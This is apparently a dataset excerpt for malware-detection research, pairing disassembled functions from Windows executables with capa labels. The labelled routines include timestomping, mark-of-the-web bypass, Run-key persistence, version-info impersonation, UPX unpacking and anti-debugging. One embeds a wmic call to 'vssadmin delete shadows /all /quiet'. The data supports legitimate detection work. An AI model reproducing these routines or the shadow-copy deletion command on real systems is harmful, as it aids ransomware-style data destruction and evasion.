joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401710
Capabilities:
Query environment variable
Timestomp file

Disassembly:
sub esp, 0x220
push ebx
push esi
push edi
push 0xff
lea eax, [esp + 0x2c]
push eax
push str._systemroot_explorer.exe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea ecx, [esp + 0x40]
push ecx
call esi
mov edi, eax
test edi, edi
je 0x4017ae
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x20]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4017ab
push 0
push 0x2000000
push 3
push 0
push 3
push 0x40000000
push 0x406140
call esi
mov esi, eax
test esi, esi
je 0x4017ab
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x20]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call ebx
push edi
call ebx
pop edi
pop esi
pop ebx
add esp, 0x220
ret

Function at 0x4017c0
Capabilities:
Bypass mark of the web
Delete file

Disassembly:
sub esp, 0x400
push 0x406140
lea eax, [esp + 4]
push str._s:Zone.Identifier
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push 3
push 0
push 0
push 0x80000000
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x40180e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
add esp, 0x400
ret

Function at 0x401990
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x10
push esi
push edi
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
mov esi, eax
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0x20]
push esi
push 0
push 0
push ecx
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 1
jne 0x4019ed
mov ecx, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call edi
mov edx, dword [esp + 8]
push edx
call edi
mov edi, 1
jmp 0x4019ef
xor edi, edi
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
pop edi
pop esi
add esp, 0x10
ret

Function at 0x401a10
Capabilities:
Delete volume shadow copies
Query environment variable

Disassembly:
sub esp, 0x604
push 0x104
lea eax, [esp + 4]
push eax
push str._SystemRoot_System32wbemwmic.exe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.process_call_create__cmd.exe__c_vssadmin_delete_shadows__all__quiet_
lea ecx, [esp + 4]
push ecx
lea edx, [esp + 0x208]
push str._s__s
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
push 0x8000000
lea eax, [esp + 0x214]
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.00401990
add esp, 0x620
ret
Function at 0x401a70
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x604
push 0x104
lea eax, [esp + 4]
push eax
push str._SystemRoot_System32wbemwmic.exe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.process_call_create__cmd.exe__c_start_explorer.exe_
lea ecx, [esp + 4]
push ecx
lea edx, [esp + 0x208]
push str._s__s
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
push 0x8000000
lea eax, [esp + 0x214]
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.00401990
add esp, 0x620
ret

Function at 0x401ad0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
push edi
lea eax, [esp + 0x10]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x406140
call edi
mov ecx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add eax, eax
push eax
push 0x406140
push 1
push 0
push 0x4032ac
push ecx
call ebx
mov edx, dword [esp + 0x10]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebp
lea eax, [esp + 0x10]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call esi
push 0x406140
call edi
mov ecx, dword [esp + 0x10]
add eax, eax
push eax
push 0x406140
push 1
push 0
push 0x4032ac
push ecx
call ebx
mov edx, dword [esp + 0x10]
push edx
call ebp
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x401b70
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ecx
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
push edi
lea eax, [esp + 0xc]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call esi
mov ecx, dword [esp + 0xc]
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push 0x4032ac
push ecx
call edi
mov edx, dword [esp + 0xc]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebx
lea eax, [esp + 0xc]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call esi
mov ecx, dword [esp + 0xc]
push 0x4032ac
push ecx
call edi
mov edx, dword [esp + 0xc]
push edx
call ebx
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x401d30
Capabilities:
Get file version info
Impersonate file version information

Disassembly:
sub esp, 8
push ebx
mov ebx, eax
push edi
lea eax, [esp + 8]
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov edi, eax
test edi, edi
je 0x401dc1
push esi
push 4
push 0x1000
lea ecx, [edi + edi]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push esi
push edi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
lea edx, [esp + 0x10]
push edx
push 0x405040
push str.VarFileInfoTranslation
push esi
call sub.VERSION.dll_VerQueryValueW
push 0
push 0x406140
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov ebx, eax
mov eax, dword [0x405040]
movzx ecx, word [eax]
push edi
push esi
push ecx
push 1
push 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
pop ebx
add esp, 8
ret
Function at 0x403550
Capabilities:
Delete file
Enumerate gui resources

Disassembly:
mov eax, dword [0x4ac4dc]
mov ecx, dword [0x4a93e4]
sub esp, 0xc2c
push ebx
push ebp
shr eax, 3
push esi
push edi
test eax, eax
jbe 0x40363f
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [sym.imp.KERNEL32.dll_GetCommState]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], eax
cmp dword [0x4ac4dc], 0x959
jne 0x403625
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
lea eax, [esp + 0x1c]
push eax
push 0
call esi
push 0
push 0
lea ecx, [esp + 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
push 0
lea edx, [esp + 0x43c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push 0
push 0
call esi
push 0
push 0x402ca0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov eax, dword [esp + 0x14]
push eax
call fcn.004033b0
add dword [esp + 0x14], 8
sub dword [esp + 0x18], 1
jne 0x403590
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc2c
ret
Function at 0x4071ec
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43f238]
jne 0x4071f6
repz ret
jmp fcn.0040c4f5

Function at 0x40cfef
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040a708
and dword [ebp - 4], 0
cmp dword [0x442278], 0
mov ebx, eax
jne 0x40d0a0
push 0x4024a4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40d151
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402498
push edi
call esi
test eax, eax
je 0x40d151
push eax
call fcn.0040a696
mov dword [esp], 0x402488
push edi
mov dword [0x442278], eax
call esi
push eax
call fcn.0040a696
mov dword [esp], 0x402474
push edi
mov dword [0x44227c], eax
call esi
push eax
call fcn.0040a696
mov dword [esp], 0x402458
push edi
mov dword [0x442280], eax
call esi
push eax
call fcn.0040a696
pop ecx
mov dword [0x442288], eax
test eax, eax
je 0x40d0a0
push 0x402440
push edi
call esi
push eax
call fcn.0040a696
pop ecx
mov dword [0x442284], eax
mov eax, dword [0x442284]
cmp eax, ebx
je 0x40d0f8
cmp dword [0x442288], ebx
je 0x40d0f8
push eax
call fcn.0040a711
push dword [0x442288]
mov esi, eax
call fcn.0040a711
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40d0f8
test edi, edi
je 0x40d0f8
call esi
test eax, eax
je 0x40d0ef
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40d0ef
test byte [ebp - 0xc], 1
jne 0x40d0f8
or dword [ebp + 0x10], 0x200000
jmp 0x40d131
mov eax, dword [0x44227c]
cmp eax, ebx
je 0x40d131
push eax
call fcn.0040a711
pop ecx
test eax, eax
je 0x40d131
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40d131
mov eax, dword [0x442280]
cmp eax, ebx
je 0x40d131
push eax
call fcn.0040a711
pop ecx
test eax, eax
je 0x40d131
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x442278]
call fcn.0040a711
pop ecx
test eax, eax
je 0x40d151
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40d153
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x5577b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7c000]
push edi
jmp 0x5577ca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5577d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5577c0
mov eax, 1
add ebx, ebx
jne 0x5577e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5577f4
jne 0x557813
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x557813
dec eax
add ebx, ebx
jne 0x557800
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5577d8
add ebx, ebx
jne 0x55780f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x557865
xor ecx, ecx
sub eax, 3
jb 0x55782b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x55789a
sar eax, 1
mov ebp, eax
jmp 0x557836
add ebx, ebx
jne 0x557836
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x557804
inc ecx
add ebx, ebx
jne 0x557844
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x557804
add ebx, ebx
jne 0x557851
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x557846
jne 0x557862
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x557846
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x557884
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x557876
jmp 0x5577c6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x557884
add edi, ecx
jmp 0x5577c6
pop esi
mov edi, esi
mov ecx, 0x3ecc
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5578a2
cmp byte [edi], 0x15
jne 0x5578a2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5578a7
lea edi, [esi + 0x14e000]
mov eax, dword [edi]
or eax, eax
je 0x55791f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x15e0bc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x15e238]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5578d4
mov ecx, edi
jns 0x557903
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x15e23c]
or eax, eax
je 0x557919
mov dword [ebx], eax
add ebx, 4
jmp 0x5578f1
call dword [esi + 0x15e24c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x557950
cmp al, 0xef
ja 0x557943
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x557925
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x557932
mov ebp, dword [esi + 0x15e240]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x557984
sub esp, 0xffffff80
jmp 0x426d3d
Function at 0x40b890
Capabilities:
Decompress data using quicklz

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x40ba5e
sub esp, 0x38
mov eax, dword [esp + 0x3c]
cmp eax, 0x7000000
jle 0x40b8bb
mov eax, 0x7000000
jmp 0x40b8c3
test eax, eax
je 0x40ba39
mov dword [esp + 0x14], eax
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x18]
mov edx, dword [ecx + 0x94]
mov ebx, dword [ecx + 0x98]
mov dword [ecx + 0x94], ebx
mov ebp, edx
shl edx, 0x11
xor edx, ebp
mov ebp, ebx
xor ebx, edx
shr edx, 7
xor edx, ebx
mov ebx, ebp
shr ebp, 0x10
xor ebp, edx
mov dword [ecx + 0x98], ebp
lea ecx, [ebp + ebx]
shr ecx, 6
inc ecx
mov dword [esp], ecx
call fcn.00461500
movsd xmm0, qword [esp + 4]
movsd qword [esp + 0x28], xmm0
mov eax, dword [esp + 0x2c]
mov ecx, eax
shr eax, 0x14
and eax, 0x7ff
mov edx, eax
add eax, 0xfffffc01
mov ebx, ecx
shr ecx, 0xf
and ecx, 0x1f
mov ebp, ecx
add ecx, 1
mov esi, 0
adc esi, 0
shl ebx, 5
mov edi, dword [esp + 0x28]
shr edi, 0x1b
or edi, ebx
lea ebx, [0x5d61e0]
movsd xmm0, qword [ebx + ebp*8]
test esi, esi
jne 0x40ba51
cmp ecx, 0x21
jae 0x40ba45
movsd qword [esp + 0x18], xmm0
mov dword [esp + 0x10], edi
add edx, 0xfffffc01
mov edx, 0xffffffff
adc edx, 0
movsd xmm0, qword [ebx + ecx*8]
movsd qword [esp + 0x20], xmm0
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0045b160
movsd xmm0, qword [esp + 8]
movsd qword [esp + 0x30], xmm0
mov dword [esp + 4], 0
mov eax, dword [esp + 0x10]
and eax, 0xfffff
mov dword [esp], eax
call fcn.0045b230
movsd xmm0, qword [esp + 0x30]
movsd xmm1, qword [esp + 0x18]
addsd xmm0, xmm1
movsd xmm2, qword [esp + 0x20]
subsd xmm2, xmm1
movsd xmm1, qword [esp + 8]
mulsd xmm1, xmm2
movsd xmm2, qword [0x53f3b0]
mulsd xmm2, xmm1
addsd xmm0, xmm2
movsd xmm1, qword [0x53f418]
subsd xmm0, xmm1
xorps xmm1, xmm1
ucomisd xmm0, xmm1
jbe 0x40ba14
xorps xmm0, xmm0
mov eax, dword [esp + 0x14]
cvtsi2sd xmm1, eax
movsd xmm2, qword [0x53f460]
mulsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
inc eax
mov dword [esp + 0x40], eax
add esp, 0x38
ret
mov dword [esp + 0x40], 0
add esp, 0x38
ret
mov eax, ecx
mov ecx, 0x21
call fcn.004615e0
mov eax, ecx
mov ecx, 0x21
call fcn.00461690
nop
call fcn.00460140
jmp fcn.0040b890
Function at 0x413c60
Capabilities:
Check for software breakpoints

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x413e84
sub esp, 0x18
mov eax, dword [0x63a404]
test eax, eax
jne 0x413e6d
nop
lea eax, [0x63a3f0]
mov dword [esp], eax
call fcn.00409680
mov eax, dword [0x63a3f4]
test eax, eax
je 0x413ca9
cmp dword [eax + 8], 0xcc
jne 0x413d1f
mov edx, dword [0x63a3e8]
test edx, edx
jne 0x413d01
mov dword [esp], 0x1000
mov dword [esp + 4], 0
lea eax, [0x63ccd0]
mov dword [esp + 8], eax
call fcn.0040ba70
mov eax, dword [esp + 0xc]
mov dword [0x63a3e8], eax
mov ecx, dword [0x63a3ac]
mov dword [eax], ecx
mov eax, dword [0x63a3e8]
mov dword [0x63a3ac], eax
movzx eax, byte [0x63a940]
test al, al
jne 0x413d01
xor eax, eax
jmp 0x413e19
mov edx, dword [0x63a3e8]
mov ebx, dword [edx + 4]
mov dword [0x63a3e8], ebx
mov ebx, dword [0x63a3f4]
mov dword [edx + 4], ebx
mov dword [0x63a3f4], edx
mov edx, dword [0x63a3f4]
mov eax, dword [edx + 8]
cmp eax, 0xcc
jae 0x413e01
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
lea eax, [edx + 8]
mov dword [esp], eax
mov dword [esp + 4], 1
call fcn.00402140
mov eax, dword [esp + 0x10]
lea eax, [eax + eax*4]
mov ecx, dword [esp + 0x14]
lea edi, [ecx + eax*4 + 0x10]
mov edx, dword [0x63a620]
lea ebx, [ecx + eax*4 + 0x1c]
lea ebp, [ecx + eax*4 + 0x20]
lea esi, [ecx + eax*4 + 0x14]
test edx, edx
jne 0x413d7d
mov edx, dword [esp + 0x20]
mov dword [ecx + eax*4 + 0x10], edx
jmp 0x413d8a
mov edx, eax
mov eax, dword [esp + 0x20]
call fcn.00461550
mov eax, edx
mov edx, dword [esp + 0x24]
mov dword [ecx + eax*4 + 0x18], edx
mov edx, dword [0x63a620]
test edx, edx
jne 0x413db6
mov edx, dword [esp + 0x28]
mov dword [ecx + eax*4 + 0x1c], edx
mov edx, dword [esp + 0x2c]
mov dword [ecx + eax*4 + 0x20], edx
mov edx, dword [esp + 0x1c]
mov dword [ecx + eax*4 + 0x14], edx
jmp 0x413dd7
mov edi, ebx
mov eax, dword [esp + 0x28]
call fcn.00461550
mov edi, ebp
mov eax, dword [esp + 0x2c]
call fcn.00461550
mov edi, esi
mov eax, dword [esp + 0x1c]
call fcn.00461550
nop
lea eax, [0x63a3f0]
mov dword [esp], eax
call fcn.00409880
nop
lea eax, [0x63a3ec]
mov dword [esp], eax
mov dword [esp + 4], 8
call fcn.004022c0
add esp, 0x18
ret
mov ecx, 0xcc
call fcn.004615e0
lea esi, [0x63a940]
xchg ebp, eax
mov byte [esi + ebx], al
xchg ebp, eax
lea eax, [ebx + 1]
cmp eax, 0x80
jge 0x413d01
mov ecx, eax
mov eax, 0xcccccccd
imul ecx
add edx, ecx
sar edx, 2
mov eax, ecx
sar ecx, 0x1f
sub edx, ecx
lea edx, [edx + edx*4]
mov ebx, eax
sub eax, edx
cmp eax, 5
jae 0x413e63
lea edx, [0x5d223c]
movzx ebp, byte [edx + eax]
cmp ebx, 0x80
jb 0x413e0b
mov eax, ebx
mov ecx, pe_nt_image_headers32
call fcn.004615d0
mov ecx, 5
call fcn.004615d0
lea eax, [0x511bc4]
mov dword [esp], eax
mov dword [esp + 4], 0x18
call fcn.004352b0
nop
call fcn.00460140
jmp fcn.00413c60
Function at 0x427280
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4273f0
sub esp, 0x1c
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call fcn.00425010
mov eax, dword [esp + 4]
test eax, eax
je 0x4273d9
mov dword [esp + 0xc], eax
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
mov edx, dword [ecx + 0x18]
nop
inc dword [edx + 0x7c]
mov ecx, dword [ecx + 0x18]
mov dword [esp + 0x14], ecx
mov dword [esp], eax
call fcn.00422d90
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0xc]
sub eax, dword [ecx + 0xc]
mov dword [esp + 0x10], eax
mov edx, dword [esp + 0x24]
movzx ebx, byte [edx + 6]
mov byte [esp + 0xb], bl
lea ebp, [ecx + 0x48]
mov dword [esp + 0x18], ebp
nop
mov dword [esp], ebp
call fcn.00409680
mov eax, dword [esp + 0xc]
lea ecx, [eax + 0x4c]
movzx edx, byte [esp + 0xb]
mov ebx, dword [esp + 0x10]
jmp 0x427317
mov ecx, ebp
mov ebp, dword [ecx]
test ebp, ebp
je 0x42737d
movzx esi, word [ebp + 4]
cmp esi, ebx
jne 0x42732c
cmp byte [ebp + 6], dl
je 0x427337
cmp esi, ebx
ja 0x42737d
jne 0x427315
cmp byte [ebp + 6], dl
jbe 0x427315
jmp 0x42737d
nop
nop
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call fcn.00409880
nop
mov eax, dword fs:[0x14]
mov eax, dword [eax]
mov ecx, dword [esp + 0x14]
mov edx, dword [ecx + 0x7c]
lea ebx, [edx - 1]
mov dword [ecx + 0x7c], ebx
cmp edx, 1
jne 0x427374
movzx ecx, byte [eax + 0x65]
test cl, cl
je 0x427374
mov dword [eax + 8], 0xfffffade
mov byte [esp + 0x28], 0
add esp, 0x1c
ret
mov edx, dword [esp + 0x24]
mov word [edx + 4], bx
mov ebx, dword [ecx]
mov dword [edx], ebx
mov dword [ecx], edx
mov dword [esp], eax
call fcn.00427180
nop
nop
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call fcn.00409880
nop
mov eax, dword fs:[0x14]
mov eax, dword [eax]
mov ecx, dword [esp + 0x14]
mov edx, dword [ecx + 0x7c]
lea ebx, [edx - 1]
mov dword [ecx + 0x7c], ebx
cmp edx, 1
jne 0x4273d0
movzx ecx, byte [eax + 0x65]
test cl, cl
je 0x4273d0
mov dword [eax + 8], 0xfffffade
mov byte [esp + 0x28], 1
add esp, 0x1c
ret
lea eax, [0x5135b3]
mov dword [esp], eax
mov dword [esp + 4], 0x1d
call fcn.004352b0
nop
call fcn.00460140
jmp fcn.00427280
Function at 0x427870
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x42798c
sub esp, 0x14
mov eax, dword [esp + 0x18]
movzx ecx, byte [eax + 6]
cmp cl, 1
je 0x427905
cmp cl, 2
je 0x4278ad
cmp cl, 3
jne 0x427975
mov byte [eax + 8], 1
jmp 0x427971
mov ecx, dword [eax + 8]
mov dword [esp], ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 4], ecx
call fcn.0042caa0
nop
lea eax, [0x61e9b8]
mov dword [esp], eax
call fcn.00409680
nop
mov eax, dword [0x61e984]
sub eax, dword [0x61e968]
mov dword [0x61e984], eax
mov eax, dword [0x61e974]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0x61e974], ecx
nop
lea eax, [0x61e9b8]
mov dword [esp], eax
call fcn.00409880
jmp 0x427971
mov ecx, dword [eax + 8]
mov edx, dword [eax + 0xc]
mov ebx, dword [eax + 0x10]
mov ebp, dword [eax + 0x14]
mov esi, dword [esp + 0x1c]
mov dword [esp], esi
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], ebp
call fcn.00413c60
nop
lea eax, [0x61e9b8]
mov dword [esp], eax
call fcn.00409680
nop
mov eax, dword [0x61e95c]
sub eax, dword [0x61e940]
mov dword [0x61e95c], eax
mov eax, dword [0x61e94c]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0x61e94c], ecx
nop
nop
lea eax, [0x61e9b8]
mov dword [esp], eax
call fcn.00409880
add esp, 0x14
ret
lea eax, [0x50e994]
mov dword [esp], eax
mov dword [esp + 4], 0x10
call fcn.004352b0
nop
call fcn.00460140
jmp fcn.00427870
Function at 0x454660
Capabilities:
Access peb ldr_data

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x454760
sub esp, 0x28
mov eax, dword [esp + 0x2c]
mov dword [eax + 0x8c], 0
mov dword [eax + 0x90], 0
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x18]
mov ecx, dword [ecx + 0x58]
mov dword [eax + 0x94], ecx
mov ecx, dword [esp + 0x30]
mov dword [esp], ecx
call fcn.00454ef0
mov eax, dword [esp + 4]
mov dword [esp + 0x14], eax
lea ecx, [0x4f3180]
mov dword [esp], ecx
call fcn.0040b720
mov eax, dword [esp + 4]
mov ecx, dword [esp + 0x14]
inc ecx
mov dword [eax], ecx
lea ecx, [0x61ea50]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 1
mov dword [esp + 0xc], 1
call fcn.00453ee0
mov eax, dword [esp + 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov ecx, dword [esp + 0x2c]
mov edx, dword [ecx + 0x50]
mov ecx, dword [ecx + 0x54]
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], eax
mov byte [esp], 0xd
mov dword [esp + 4], 2
lea eax, [esp + 0x18]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 2
mov dword [esp + 0x10], 2
call fcn.00453300
add esp, 0x28
ret
call fcn.00460140
jmp fcn.00454660